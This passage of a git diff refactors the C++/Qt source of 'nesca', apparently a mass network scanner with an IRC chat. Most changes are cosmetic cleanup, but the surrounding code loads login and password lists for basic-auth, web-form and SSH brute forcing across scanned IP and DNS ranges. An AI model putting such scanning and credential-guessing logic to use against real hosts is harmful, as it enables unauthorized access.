gWidth = ui->graphicActivityGrid->width(); int gHeight = ui->graphicActivityGrid->height(); //Vertical @@ -789,7 +794,7 @@ void nesca_3::slotDrawActivityGrid() { sceneActivityGrid->addLine(i, 0, i, gHeight, penActivity); }; -}; +} void nesca_3::slotDrawActivityLine(QString data) { @@ -800,12 +805,7 @@ void nesca_3::slotDrawActivityLine(QString data) for(int i = 1; i < actLst.size(); ++i) { - as += 2; - int al1 = actLst[i]; - int al12 = actLst[i-1]; - int yy = 16 - actLst[i - 1]; - int yy2 = 16 - actLst[i]; - + as += 2; sceneActivity->addLine(as - 2, 16 - actLst[i - 1], as, 16 - actLst[i], penActivity); }; QFont fnt; @@ -815,7 +815,8 @@ void nesca_3::slotDrawActivityLine(QString data) titem->setX(43 - data.length()*2); titem->setY(-5); titem->setDefaultTextColor(QColor(255, 255, 255, 80)); -}; +} + void nesca_3::slotDrawVoiceGrid(int factor) { sceneGrid->clear(); @@ -839,7 +840,8 @@ void nesca_3::slotDrawVoiceGrid(int factor) { sceneGrid->addLine(i, 0, i, gHeight, penActivity); }; -}; +} + void nesca_3::activateME2ScanScene() { if(ME2ScanFlag == false) @@ -891,7 +893,8 @@ void nesca_3::activateME2ScanScene() dtME2->start(); }; }; -}; +} + void nesca_3::activateQoSScanBut() { if(QoSScanFlag == false) @@ -948,7 +951,8 @@ void nesca_3::activateQoSScanBut() if(dtQoS->isRunning() == false) dtQoS->start(); if(dtGridQoS->isRunning() == false) dtGridQoS->start(); }; -}; +} + void nesca_3::activateVoiceScanBut() { if(VoiceScanFlag == false) @@ -989,7 +993,8 @@ void nesca_3::activateVoiceScanBut() if(vsTh->isRunning() == false) vsTh->start(); }; -}; +} + void nesca_3::slotUpdatePie() { sceneGraph->clear(); @@ -1145,7 +1150,8 @@ void nesca_3::slotUpdatePie() item->setBrush(QBrush(Qt::darkRed)); sceneGraph->addItem(item); }; -}; +} + void nesca_3::activatePieStatBut() { if(PieStatFlag == false) @@ -1187,7 +1193,8 @@ void nesca_3::activatePieStatBut() if(psTh->isRunning() == false) psTh->start(); }; -}; +} + bool stopFirst; void nesca_3::importAndScan() { @@ -1255,7 +1262,8 @@ void nesca_3::importAndScan() STTTerminate(); }; }; -}; +} + void nesca_3::switchDataFields() { if(ui->switcherBut->text() == "<") @@ -1272,7 +1280,8 @@ void nesca_3::switchDataFields() ui->BAText->lower(); ui->switcherBut->setText("<"); }; -}; +} + void nesca_3::slotBlinkMessage() { if(blinkFlag) @@ -1287,7 +1296,8 @@ void nesca_3::slotBlinkMessage() ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); }; -}; +} + void nesca_3::ChangeDispalyMode() { if(widgetIsHidden == false && tray->isVisible() == false) @@ -1315,7 +1325,8 @@ void nesca_3::ChangeDispalyMode() printDelimiter = true; ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); }; -}; +} + void nesca_3::switchToJobMode() { if(ui->widgetJOB->geometry().x() == 500) @@ -1332,7 +1343,8 @@ void nesca_3::switchToJobMode() ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730)); ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); }; -}; +} + void nesca_3::CheckProxy() { saveOptions(); @@ -1348,7 +1360,8 @@ void nesca_3::CheckProxy() chPTh->doEmitChangeYellowIRCData("Checking " + ui->ircProxy->text() + ":" + ui->ircProxyPort->text() + "..."); chPTh->start(); -}; +} + void nesca_3::slotIRCOfflined() { CSSOCKET(lSock); @@ -1360,7 +1373,8 @@ void nesca_3::slotIRCOfflined() "}"); ui->IRCConnectBut->setText("Connect"); ui->ircText->append("<span style=\"color:#efe100;\">[-//-] Disconnected.</span>"); -}; +} + void nesca_3::ConnectToIRCServer() { saveOptions(); @@ -1400,7 +1414,7 @@ void nesca_3::ConnectToIRCServer() "}"); ui->IRCConnectBut->setText("Disconnect"); if(proxyEnabledFlag) ui->ircText->append("<span style=\"color:#efe100;\">[*] Using proxy " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".</span>"); - else ui->ircText->append("<span style=\"color:#efe100;\">[*] No proxy selected! Connecting with your ip address.</span>"); + else ui->ircText->append("<span style=\"color:#efe100;\">[*] No proxy selected! Connecting directly...</span>"); ircTh->start(); } else @@ -1437,7 +1451,8 @@ void nesca_3::ConnectToIRCServer() ui->ircText->append("<span style=\"color:red;background-color:#313131;\">No IRC server specified!</span>"); }; -}; +} + void nesca_3::ChangeIRCRawLog() { if(ui->IRCModeChangerBut->text() == ":IRC raw") @@ -1454,13 +1469,15 @@ void nesca_3::ChangeIRCRawLog() ui->ircText->raise(); ui->ircRaw->lower(); }; -}; +} + void nesca_3::ChangeNick() { strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); - UserNickInit(lSock); + UserNickInit(); ui->shoutBox->setFocus(); -}; +} + void nesca_3::CheckPersKey() { emitIfOK = -1; @@ -1473,9 +1490,10 @@ void nesca_3::CheckPersKey() } else { - stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + stt->doEmitionRedFoundData("Still ckecking your key, please wait..."); }; -}; +} + void nesca_3::CheckPersKey(int val = -1) { emitIfOK = val; @@ -1483,14 +1501,15 @@ void nesca_3::CheckPersKey(int val = -1) _SaveBackupToFile(); if(!chKTh->isRunning()) { - stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); chKTh->start(); } else { - stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + stt->doEmitionRedFoundData("Still ckecking your key, please wait..."); }; -}; +} + void _finishNick() { QList<QListWidgetItem *> ql = ui->nickList->findItems(ui->shoutBox->text(), Qt::MatchStartsWith); @@ -1499,7 +1518,8 @@ void _finishNick() ui->shoutBox->setText(ql[0]->text() + ", "); ui->shoutBox->setFocus(); }; -}; +} + bool nesca_3::eventFilter(QObject* obj, QEvent *event) { if (obj == ui->shoutBox) @@ -1544,13 +1564,17 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) { privateMsgFlag = true; event->accept(); + return true; }; + return false; } else if (event->type() == QEvent::KeyRelease) { privateMsgFlag = false; event->accept(); + return true; }; + return false; } else if (obj == ui->widgetIRC) { @@ -1565,13 +1589,17 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) { privateMsgFlag = true; event->accept(); + return true; }; + return false; } else if (event->type() == QEvent::KeyRelease) { privateMsgFlag = false; event->accept(); + return true; }; + return false; } else { @@ -1582,15 +1610,20 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) { privateMsgFlag = true; event->accept(); + return true; }; + return false; } else if(event->type() == QEvent::KeyRelease) { privateMsgFlag = false; event->accept(); + return true; }; + return false; }; -}; +} + void nesca_3::ChangeTopic() { if(ui->topicLine->text().size() > 0) @@ -1609,7 +1642,8 @@ void nesca_3::ChangeTopic() sendS(lSock, temp, strlen(temp), 0); }; -}; +} + void nesca_3::SaySmthng() { if(ui->shoutBox->text().size() > 0) @@ -1722,7 +1756,7 @@ void nesca_3::SaySmthng() strcat(temp, nickP.toLocal8Bit().data()); strcat(temp, "\n"); ui->ircNickBox->setText(nickP); - UserNickInit(lSock); + UserNickInit(); } else { @@ -1762,7 +1796,8 @@ void nesca_3::SaySmthng() ui->shoutBox->clear(); }; -}; +} + void nesca_3::slotChangeCPModeToUTF() { utfIRCFlag = true; @@ -1775,7 +1810,8 @@ void nesca_3::slotChangeCPModeToUTF() ui->ircRaw->setHtml( QString(wtfR) ); ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -}; +} + void nesca_3::slotChangeCPModeTo1251() { utfIRCFlag = false; @@ -1786,7 +1822,8 @@ void nesca_3::slotChangeCPModeTo1251() ui->ircRaw->setHtml(globalIRCRaw.replace("\n", "<br>")); ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); -}; +} + void nesca_3::onLinkClicked(QUrl link) { QString lnk = link.toString(); @@ -1805,7 +1842,8 @@ void nesca_3::onLinkClicked(QUrl link) { QDesktopServices::openUrl(link); }; -}; +} + void nesca_3::slotRestartIRC() { ircPTh->terminate(); @@ -1813,12 +1851,14 @@ void nesca_3::slotRestartIRC() CSSOCKET(lSock); ircTh->terminate(); ircTh->start(); -}; +} + void nesca_3::slotClearLogs() { ui->dataText->clear(); ui->BAText->clear(); -}; +} + void nesca_3::slotIRCGetTopic(QString str) { ui->topicLine->setText(str); @@ -1826,7 +1866,8 @@ void nesca_3::slotIRCGetTopic(QString str) rData = "<font style=\"color:#c0ff00; text-decoration: underline;\">Topic: \"" + str + "\"</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + //unsigned char jpgHeader[623] = { // 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60, // 0x00, 0x60, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01, 0x02, @@ -1944,7 +1985,8 @@ void nesca_3::slotSaveImage(QAction *qwe) if(filename != "") image.save(filename + ".png"); }; }; -}; +} + void PieStatView::contextMenuEvent(QContextMenuEvent *event) { menuPS = new QMenu; @@ -1952,7 +1994,8 @@ void PieStatView::contextMenuEvent(QContextMenuEvent *event) menuPS->popup(event->globalPos()); connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); -}; +} + QLabel *msgLbl; QLabel *msgDLbl; QLabel *msgTLbl; @@ -1970,7 +2013,8 @@ void nesca_3::slotUnhidePopup(QString strD = "", QString senderNick = "") if(msgLbl != NULL) msgLbl->setText(str); if(msgNLbl != NULL) msgNLbl->setText(senderNick); if(msgDLbl != NULL) msgDLbl->setText(QTime::currentTime().toString()); -}; +} + void CreateMsgPopupWidget(QString str = "", QString senderNick = "") { QDesktopWidget desk; @@ -2032,7 +2076,8 @@ void CreateMsgPopupWidget(QString str = "", QString senderNick = "") "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;text-decoration:underline;" ); msgNLbl->show(); -}; +} + QTextBrowser *SendData; QTextBrowser *RecvData; void nesca_3::slotShowDataflow() @@ -2068,15 +2113,16 @@ void nesca_3::slotShowDataflow() else { ui->DataflowModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); - delete []SendData; - delete []RecvData; - delete []qwm; + delete SendData; + delete RecvData; + delete qwm; qwm = NULL; RecvData = NULL; SendData = NULL; MapWidgetOpened = false; }; -}; +} + QGraphicsPathItem *GiveMeGItem(QVector<QPointF> vAnomLst) { QPolygonF qpf; @@ -2094,7 +2140,8 @@ QGraphicsPathItem *GiveMeGItem(QVector<QPointF> vAnomLst) }; }; return new QGraphicsPathItem(path); -}; +} + void nesca_3::slotVoiceAddLine() { int as = 0; @@ -2157,7 +2204,8 @@ void nesca_3::slotVoiceAddLine() sceneVoice->addLine(as - 2, 120 - vSSHLst[i - 1], as, 120 - vSSHLst[i] - 1, penQoS7); }; }; -}; +} + void nesca_3::slotShowNicks() { if(ui->nickShowBut->text() == "<") @@ -2171,7 +2219,8 @@ void nesca_3::slotShowNicks() ui->nickShowBut->setText("<"); ui->nickList->lower(); }; -}; +} + QRegExp _rOutProt(" HTTP/1.\\d+"); QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); @@ -2204,7 +2253,8 @@ void nesca_3::slotOutData(QString ip, QString str) SendData->append("<font color=\"#F0FFFF\">[" + ip + "]</font><br>" + str + "<hr><br>"); }; -}; +} + QRegExp _rIncProt("HTTP/1.\\d+ "); QRegExp _rIncHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); QRegExp _rIncTags1("<.{1,8}>"); @@ -2357,7 +2407,8 @@ void nesca_3::slotIncData(QString ip, QString str) RecvData->append("<font color=\"#F0FFFF\">[" + ip + "]</font><br>" + str + "<hr><br>"); }; }; -}; +} + #pragma region SM_Buts void nesca_3::smReaction() { @@ -2512,8 +2563,7 @@ void nesca_3::smReaction() stt->doEmitionDebugFoundData("[HTML Debug mode OFF]"); }; }; - -}; +} void nesca_3::IPScanSeq() { @@ -2597,7 +2647,8 @@ void nesca_3::IPScanSeq() STTTerminate(); }; }; -}; +} + void nesca_3::DNSScanSeq() { if(ui->lineEditStartIPDNS->text() != "") @@ -2648,7 +2699,8 @@ void nesca_3::DNSScanSeq() { stt->doEmitionRedFoundData("Wrong mask input."); }; -}; +} + void nesca_3::ImportScanSeq() { QString fileName; @@ -2684,7 +2736,8 @@ void nesca_3::ImportScanSeq() { stt->doEmitionYellowFoundData("Empty filename."); }; -}; +} + QLabel *smsgLbl; QLabel *smsgNLbl; void nesca_3::slotShowServerMsg(QString str) @@ -2705,11 +2758,13 @@ void nesca_3::slotShowServerMsg(QString str) "position: absolute;" ); msgBox.exec(); -}; -void nesca_3::DNSLine_ValueChanged(QString str) +} + +void nesca_3::DNSLine_ValueChanged() { if(globalScanFlag == 0) ui->startScanButton_4->setText("Start"); -}; +} + void nesca_3::slotRestoreDefPorts() { int ci = ui->tabMainWidget->currentIndex(); @@ -2726,7 +2781,8 @@ void nesca_3::slotRestoreDefPorts() { ui->importPorts->setText(PORTSET); }; -}; +} + QGraphicsTextItem *textItem = NULL; QGraphicsRectItem* pbItem = NULL; QGraphicsRectItem* pbBlackRectItem = NULL; @@ -2780,12 +2836,14 @@ void nesca_3::slotPBUpdate() pbScene->addLine(0, 66, 8, 66, pbPen); pbScene->addLine(4, 77, 6, 77, pbPen); pbScene->addLine(4, 88, 6, 88, pbPen); -}; +} + void nesca_3::changeNSTrackLabel(bool status) { if(status) ui->NSTrackStatusLabel->setStyleSheet("background-color: green; border: 1px solid white;"); else ui->NSTrackStatusLabel->setStyleSheet("background-color: black; border: 1px solid white;"); -}; +} + #pragma region "Signal assignments" void nesca_3::ConnectEvrthng() { @@ -2918,8 +2976,7 @@ void nesca_3::ConnectEvrthng() connect ( vsTh, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); -}; - +} void RestoreSession() { @@ -3203,6 +3260,7 @@ void RestoreSession() }; } + void CreateVerFile() { FILE *vf = fopen("version", "w"); @@ -3212,12 +3270,12 @@ void CreateVerFile() fputs(gVER, vf); fclose(vf); }; -}; +} + char *GetVer() { int dver = 0; - int tver = 0; - char t[32] = __DATE__; + int tver = 0; dver = __DATE__[9] - 48; dver *= 10; @@ -3262,20 +3320,22 @@ char *GetVer() strcat(db, tb); return db; -}; +} void nesca_3::slotShowRedVersion() { ui->rVerLabel->show(); -}; +} + void _startVerCheck() { vct->start(); -}; +} + void _startMsgCheck() { mct->start(); -}; +} nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) { @@ -3362,11 +3422,13 @@ void _startMsgCheck() // jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen); // step += 30; //}; -}; +} + void nesca_3::playFcknSound() { QSound::play("00000036.wav"); -}; +} + void nesca_3::mousePressEvent(QMouseEvent *event) { if (event->button() == Qt::LeftButton) { @@ -3374,19 +3436,22 @@ void nesca_3::mousePressEvent(QMouseEvent *event) event->accept(); }; } + void nesca_3::mouseReleaseEvent(QMouseEvent * event) { if (event->modifiers() == Qt::ControlModifier) { privateMsgFlag = false; event->accept(); }; -}; +} + void nesca_3::mouseMoveEvent(QMouseEvent * event) { QPoint CPos = (event->globalPos() - dragPosition); QWidget::move(CPos); if(qwm != NULL) qwm->move(CPos.x() + WIDGET_WIDTH + 5, CPos.y()); -}; +} + void nesca_3::exitButtonClicked() { globalScanFlag = false; @@ -3395,7 +3460,8 @@ void nesca_3::exitButtonClicked() WSACleanup(); #endif qApp->quit(); -}; +} + void nesca_3::trayButtonClicked() { if(tray->isVisible()) @@ -3408,15 +3474,18 @@ void nesca_3::trayButtonClicked() hide(); tray->show(); }; -}; +} + void nesca_3::ChangeShuffle(bool val) { gShuffle = val; -}; +} + void nesca_3::ChangeTrackerOK(bool val) { trackerOK = val; -}; +} + void nesca_3::ChangePingerOK(bool val) { ui->PingTO->setEnabled(val); @@ -3429,13 +3498,13 @@ void nesca_3::ChangePingerOK(bool val) { ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;"); }; -}; - +} void nesca_3::ChangeDebugFileState(bool val) { debugFileOK = val; -}; +} + void nesca_3::saveOptions() { int ci = ui->tabMainWidget->currentIndex(); @@ -3510,7 +3579,8 @@ void nesca_3::saveOptions() strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); -}; +} + void nesca_3::STTTerminate() { importFileName = ""; @@ -3536,7 +3606,8 @@ void nesca_3::STTTerminate() ui->startScanButton_4->setText("Start"); ui->importButton->setText("Import&&Scan"); ui->labelStatus_Value->setText("Idle"); -}; +} + bool dfLocked = false; void writeDebugFile(QString str) { @@ -3567,7 +3638,8 @@ void writeDebugFile(QString str) { stt->doEmitionRedFoundData("[DEBUG: Cannot open " + QString(fn) + "]"); }; -}; +} + void nesca_3::startScanButtonClicked() { if(startFlag == false) @@ -3621,7 +3693,8 @@ void nesca_3::startScanButtonClicked() STTTerminate(); }; }; -}; +} + void nesca_3::startScanButtonClickedDNS() { if(startFlag == false) @@ -3675,44 +3748,54 @@ void nesca_3::startScanButtonClickedDNS() STTTerminate(); }; }; -}; +} + void nesca_3::logoLabelClicked() { QDesktopServices::openUrl(QUrl("http://nesca.d3w.org/")); -}; +} + void nesca_3::ChangeLabelTO_ValueChanged(QString str) { gTimeOut = str.toInt(); -}; +} + void nesca_3::ChangeLabelThreads_ValueChanged(QString str) { gThreads = str.toInt(); -}; +} + void nesca_3::PingTO_ChangeValue(QString str) { gPingTimeout = str.toInt(); -}; +} + void nesca_3::ThreadDelay_ChangeValue(QString str) { gThreadDelay = str.toInt(); -}; +} + void nesca_3::MaxBrutingThr_ChangeValue(QString str) { gMaxBrutingThreads = str.toInt(); -}; +} + void nesca_3::appendRedBAData(QString str) { ui->BAText->append("<span style=\"color:red;background-color:#313131;\">" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>"); -}; +} + void nesca_3::appendGreenBAData(QString str) { ui->BAText->append("<span style=\"color:#06ff00;\">" + str + "</span>"); -}; +} + void nesca_3::appendDefaultText(QString str) { ui->dataText->append("<p style=\"color: #a1a1a1;\">[" + QTime::currentTime().toString() + "] " + str + "</p>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendErrText(QString str) { ui->dataText->append("<span style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "]" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>"); @@ -3726,28 +3809,31 @@ void nesca_3::appendErrText(QString str) stt->terminate(); }; if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendOKText(QString str) { ui->dataText->append("<span style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "][OK] " + str + "</span>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendNotifyText(QString str) { ui->dataText->append("<span style=\"color:#efe100;\">[" + QTime::currentTime().toString() + "][*] " + str + "</span>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + void nesca_3::appendDebugText(QString str) { ui->dataText->append("<span style=\"color:#0084ff;\">[DEBUG] " + str + "</span>"); if(debugFileOK) writeDebugFile(str + "\n"); -}; +} + QRegExp r("[ht|f]{0,2}tp[s]{0,1}://(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|=|\\+|<|>|;|:|\"|'|~|\\[|\\])*[\\s|\\t]{0,1}"); QRegExp under("((.+|(.+$)))"); QRegExp boldr("((.+|(.+$)))"); QRegExp colr("(\\d+[,\\d+]{0,2})"); - QString GetColorCode(int mode, QString str) { QRegExp c("(\\d{0,2})"); @@ -3787,7 +3873,8 @@ QString GetColorCode(int mode, QString str) else result = "#AFAFAF"; return result; -}; +} + void nesca_3::appendDefaultIRCTextOut(QString str) { bool thisIsUrl = false; @@ -3816,8 +3903,9 @@ void nesca_3::appendDefaultIRCTextOut(QString str) else ui->ircText->append(rData); thisIsUrl = false; -}; -void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, QString senderNick) +} + +void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString senderNick) { bool thisIsUrl = false; @@ -3923,28 +4011,32 @@ void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, int cCode, QString str, } else ui->ircText->append(rData); }; -}; +} + void nesca_3::appendRedIRCText(QString str) { QString rData; rData = "<font style=\"color:red;background-color:#313131;\">[" + QTime::currentTime().toString() + "] " + str + "</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + void nesca_3::appendGreenIRCText(QString str) { QString rData; rData = "<font style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "] " + str + "</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + void nesca_3::appendYellowIRCText(QString str) { QString rData; rData = "<font style=\"color:#efe100;\">[" + QTime::currentTime().toString() + "] " + "[*] " + str.trimmed() + "</font>"; globalIRCText += rData + "\n"; ui->ircText->append(rData); -}; +} + void nesca_3::appendDefaultIRCRawTextInc(QString str) { QString rData; @@ -3957,7 +4049,8 @@ void nesca_3::appendDefaultIRCRawTextInc(QString str) ui->ircRaw->append(QString(wtf)); } else ui->ircRaw->append(rData); -}; +} + void nesca_3::appendDefaultIRCRawTextOut(QString str) { QString rData; @@ -3970,11 +4063,13 @@ void nesca_3::appendDefaultIRCRawTextOut(QString str) ui->ircRaw->append(QString(wtf)); } else ui->ircRaw->append(rData); -}; +} + void nesca_3::slotClearNickList() { ui->nickList->clear(); -}; +} + void nesca_3::slotAppendIRCNick(QString str) { if(str.size() > 0 && str != " ") @@ -3982,7 +4077,8 @@ void nesca_3::slotAppendIRCNick(QString str) ui->nickList->addItem(str.remove("@")); ui->nickList->setGeometry(ui->nickList->x(), ui->nickList->y(), ui->nickList->width(), ui->nickList->count() * 17 + 5); }; -}; +} + void nesca_3::slotItemClicked(QListWidgetItem* wi) { if(privateMsgFlag == false) @@ -3996,7 +4092,8 @@ void nesca_3::slotItemClicked(QListWidgetItem* wi) ui->shoutBox->setText("/w " + wi->text().remove("@") + " "); ui->shoutBox->setFocus(); }; -}; +} + nesca_3::~nesca_3() { delete[] ui; diff --git a/nesca_3.h b/nesca_3.h index 585757c..3a4a9f9 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -64,7 +64,7 @@ protected: void ChangePingerOK(bool val); void changeNSTrackLabel(bool status); void slotPBUpdate(); - void DNSLine_ValueChanged(QString str); + void DNSLine_ValueChanged(); void slotChangeCPModeToUTF(); void slotChangeCPModeTo1251(); void slotShowRedVersion(); @@ -141,7 +141,7 @@ protected: void appendRedIRCText(QString str); void appendGreenIRCText(QString str); void appendYellowIRCText(QString str); - void appendDefaultIRCText(bool, bool, int, QString str, QString s); + void appendDefaultIRCText(bool, bool, QString str, QString s); void appendDefaultIRCTextOut(QString str); void appendDefaultIRCRawTextInc(QString str); void appendDefaultIRCRawTextOut(QString str); diff --git a/nesca_3.qrc b/nesca_3.qrc index 8186192..3d860f6 100644 --- a/nesca_3.qrc +++ b/nesca_3.qrc @@ -1,6 +1,5 @@ <RCC> <qresource prefix="/nesca_3"> <file>Eurostile.ttf</file> - <file>Z:/nesca.ico</file> </qresource> </RCC> diff --git a/nesca_3.ui b/nesca_3.ui index bb2476c..a30cf90 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -1385,6 +1385,7 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> <weight>75</weight> <bold>true</bold> <underline>false</underline> @@ -2929,6 +2930,7 @@ background-color: #000000;</string> <property name="font"> <font> <family>Eurostile</family> + <pointsize>9</pointsize> </font> </property> <property name="styleSheet"> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 47ff76d..02f96d4 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -4,9 +4,11 @@ #include "externData.h" #include "externFunctions.h" -typedef struct ST{ +typedef struct { char argv[MAX_ADDR_LEN]; -}sockstruct; +} ST; + +ST *st = NULL; QJsonArray *jsonArr = new QJsonArray(); @@ -420,7 +422,8 @@ void *_timer() ZeroMemory(dbuffer, sizeof(dbuffer)); Sleep(1000); }; -}; +} + bool trackAlreadyGoing = false; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) void _tracker() @@ -873,7 +876,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) // // // return res; -//}; +//} Connector con; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) @@ -884,7 +887,7 @@ void *_connect(void* ss) { ++ipCounter; char ip[MAX_ADDR_LEN] = {0}; - strcpy(ip, ((sockstruct*)ss)->argv); + strcpy(ip, ((ST*)ss)->argv); //char hostLog[256] = {0}; //strcpy(hostLog, GetHost(ip)); delete []ss; @@ -1059,7 +1062,6 @@ void _passLoginFapper() stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string(MaxWFPass).c_str()) + " entries)"); - i = 0; while(fgets(buffFG, 32, wfLoginList) != NULL) @@ -1071,26 +1073,18 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string(MaxWFLogin).c_str()) + " entries)"); - - - fclose(wfLoginList); - fclose(wfLoginList); + fclose(wfPassList); + fclose(wfLoginList); } else - { - + { stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - + stt->doEmitionKillSttThread(); }; -#pragma region SSHPASS MaxSSHPass = 0; - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); i = 0; @@ -1122,24 +1116,17 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string(MaxSSHPass).c_str()) + " entries)"); - fclose(sshlpList); } else - { - + { stt->doEmitionRedFoundData("No password/login list found"); stt->doEmitionKillSttThread(); - }; - - stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); - } void ReadUTF8(FILE* nFile, char *cp) @@ -1165,8 +1152,7 @@ void ReadUTF8(FILE* nFile, char *cp) if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); GlobalNegatives = new char*[GlobalNegativeSize + 2]; - - char buffcpy[256] = {0}; + while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) { if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || @@ -1303,9 +1289,7 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) } void _NegativeFapper() { - FILE *nFile = fopen("negatives.txt", "rb"); - char buffFG[256] = {0}; - unsigned char buffcpy[256] = {0}; + FILE *nFile = fopen("negatives.txt", "rb"); if( nFile != NULL) { @@ -1648,9 +1632,7 @@ int fInit(int InitMode, char *gR) void FileLoader(char *str) { - char res[256] = {0}; - char curIP[256] = {0}, curIPCopy[256] = {0}; - char tempBuff[4] = {0}; + char curIP[256] = {0}, curIPCopy[256] = {0}; unsigned int importFileSize = 0; FILE *fl = fopen(str, "r"); @@ -1782,11 +1764,7 @@ void FileLoader(char *str) ++flCounter; } else if(strstr(curIP, "/") != NULL) - { - char *str1; - char *str2; - char res[8] = {0}; - + { int mask = 0; char *ptr1 = strstr(curIP, "/"); GetOctets(curIP); @@ -1895,8 +1873,7 @@ char *GetCIDRRangeStr(char *str) { char result[128] = {0}; char start[32] = {0}; - char end[32] = {0}; - char buff[16] = {0}; + char end[32] = {0}; int mask = 0; char *ptr1 = strstr(str, "/"); @@ -2188,8 +2165,6 @@ return 0; char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; - -sockstruct *st = NULL; char iip[256] = {0}; int _getPos(char l) { @@ -2269,7 +2244,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) #pragma region DNS-SCAN if(globalScanFlag == false) return 0; strcpy(endIP2, saveMask); - st = 